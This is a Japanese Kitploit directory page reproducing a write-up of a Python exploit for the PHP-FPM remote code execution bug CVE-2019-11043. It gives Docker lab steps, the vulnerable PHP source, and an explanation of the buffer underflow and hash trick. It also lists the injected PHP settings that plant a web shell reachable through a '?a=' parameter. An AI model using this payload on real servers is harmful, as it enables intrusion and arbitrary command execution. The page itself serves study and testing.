Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-11043 — CVE-2019-11043 の Python エクスプロイト。PHP-FPM のバッファアンダーフローを標的とし、ヌルバイト上書きと FastCGI 変数操作によりリモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/lindemer/cve-2019-11043
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHublindemer/cve-2019-11043

CVE-2019-11043

CVE-2019-11043 の Python エクスプロイト。PHP-FPM のバッファアンダーフローを標的とし、ヌルバイト上書きと FastCGI 変数操作によりリモートコード実行を実現します。

リポジトリを見る
4215年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-11043

PHP-FPM リモートコード実行

スクリーンキャスト: https://youtu.be/d6benC5FVZM

概要

このゼロデイエクスプロイトは、一般的な PHP-FPM 構成において、2019 年の Realworld CTF コンペティション中に発見されました。リクエスト URI を解析するために正規表現が使用されますが、改行文字 %0a はマッチしません。これにより、クエリ文字列の長さを誤って計算し、意図したバッファの前の位置にヌルバイトを書き込む FastCGI のバグがトリガーされます。クエリ文字列の長さを慎重に選択することで、攻撃者はこのバグを利用してサーバ上の内部 PHP 変数を上書きし、任意のシェルコードを実行できます。

このエクスプロイトの元の Go 実装はこちらにあります。私はこれを、解説記事および元のバグレポートとともに学習リソースとして使用し、Python でエクスプロイトを実装しました。

手順

Linux 上の Docker sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 を実行すると、/script.php に空のスクリプトが置かれた最低限の NGINX/PHP-FPM サーバが起動します。このイメージの Dockerfile はこちらで入手できますが、前述のコマンドを実行するために必要ではありません。

Mac 上の Docker vulhub リポジトリの /php/CVE-2019-11043 ディレクトリから を実行します。(Docker for Mac には Compose が含まれています。)

sudo docker-compuse up -d

python3 exploit.py http://localhost:8080/script.php コマンド(2 番目のオプションを使用した場合は /index.php)でエクスプロイトスクリプトを実行します。成功すると、URL に ?a= を付けてコマンドを追加することで Web シェルにアクセスできるようになります(例: http://localhost:8080/script.php?a=uname -a)。

注: この課題のために Ansible プレイブックを作成しようと試みましたが、こちらに文書化されている停止バグに遭遇しました。最近の Linux カーネル(例: 任意の Ubuntu LTS リリース)では、Ansible プレイブックで systemd サービスを起動することはできません。

理論

脆弱性

PHP-FPM 設定ファイルには、受信した URI リクエストを PHP スクリプトにマッチングするルールが含まれており、多くの場合次のようになります:

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

これは /script.php/pathinfo 形式の任意の URI にマッチするはずですが、実際には . は改行 %0a 文字にマッチしません。URI に改行が含まれている場合、PHP 実装内の次のバグがトリガーされます:

root@kitploit:~
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

ここでの問題は、slen は URI の長さからリソースパスの長さを引いた値として正しく計算されますが、pilen が誤って 0 に設定されることです。これにより、1151 行目で path_info が負の値に設定され、バッファアンダーフローが発生します。この誤計算の直後、同じファイル内で次の処理が行われます:

root@kitploit:~
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

1161 行目で、前のステップで誤計算されたメモリ位置にヌルバイトが書き込まれます。これは、1165 行目で FastCGI が環境変数を書き込む際に脆弱性を悪用するために利用できます。環境変数の書き込み操作を制御するポインタにヌルバイトを書き込むことで、攻撃者は HTTP リクエストで任意の PHP 変数を環境に挿入できます。

エクスプロイト

FastCGI 内部データ構造

FastCGI の環境変数は、メモリ内で密にパックされたキーと値の文字列ペアのシーケンスとして格納されます(参照)。これらの文字列を保持するバッファの開始と終了は _fcgi_data_seg と呼ばれます。pos メンバは次に書き込む場所を指します。バッファがいっぱいになると(pos > end)、新しいバッファが割り当てられ、next メンバは古いバッファを指します。

root@kitploit:~
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

FastCGI は _fcgi_hash と呼ばれるハッシュテーブルを使用して個々の環境変数にアクセスします。

root@kitploit:~
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

ここでの考え方は、pos の最下位バイトを上書きして、FastCGI に既存の変数を誤って上書きさせることです。コードは本来、URI パスに追加された文字列を PATH_INFO の場所に配置するはずです。しかし、脆弱性のあるコードセグメントの後で PHP_VALUE が直ちに取得され PHP 設定に読み込まれるため、PHP_VALUE を上書きしたいと考えます。

データアラインメント

exploit.py でわかるように、このエクスプロイトの一般的な前提は、FastCGI の内部メモリバッファを悪用可能な方法でアラインさせる、非常に長い URI クエリを見つけることです。考え方は、FastCGI が新しい _fcgi_data_seg バッファを割り当てるために必要な正確な文字数を見つけることです。これが発生すると、FastCGI は予測可能な方法で新しいバッファに PATH_INFO を書き込み、続いて各 HTTP ヘッダを新しい環境変数として書き込みます。したがって、次のステップは、メモリを目的のためにアラインさせるために、任意の HTTP ヘッダをどれだけパディングする必要があるかを見つけることです。任意の場所に 1 ヌルバイトを書き込むことしかできないため、pos が PHP_VALUE への予測可能なオフセットを指すようにし、最下位バイトを編集することでそこに移動させる必要があります。

ハッシュテーブルの回避

課題は、PHP_VALUE を上書きしたいが、メモリ内のどこにあるかわからないことです。FastCGI がこの変数を読み込むとき、単純なアルゴリズムに従って文字列 PHP_VALUE をハッシュ化し、実際のメモリアドレスを取得します:

root@kitploit:~
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

ハッシュテーブル自体を変更する代わりに、この関数に従って PHP_VALUE と同じ文字列長とハッシュを持つ別の環境変数を作成するだけで済みます。これにより、ハッシュルックアップが意図した変数ではなく、HTTP ヘッダを読み取るように騙されます。このエクスプロイトの作者は、EBUT というヘッダが FastCGI 環境では HTTP_EBUT として保存され、この要件を満たすことを巧妙に指摘しました。

コードインジェクション

攻撃自体では、EBUT ヘッダを含む GET リクエストを送信し、ヌルバイト上書きバグを使用してその値を上書きします。繰り返しリクエストで、次の PHP 環境変数を一度に 1 つずつ設定しようと試みます:

root@kitploit:~
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"

これらすべての変数の変更に成功すると、サーバ上で任意のシェルコードを実行するための新しいクエリ ?a= が有効になります。攻撃ループは、which which を実行して各イテレーションの成功を確認します。攻撃者は、HTTP レスポンスから結果(例: /bin/which)を読み取ることで、これが成功したかどうかを簡単に検出できます。

ツールをダウンロード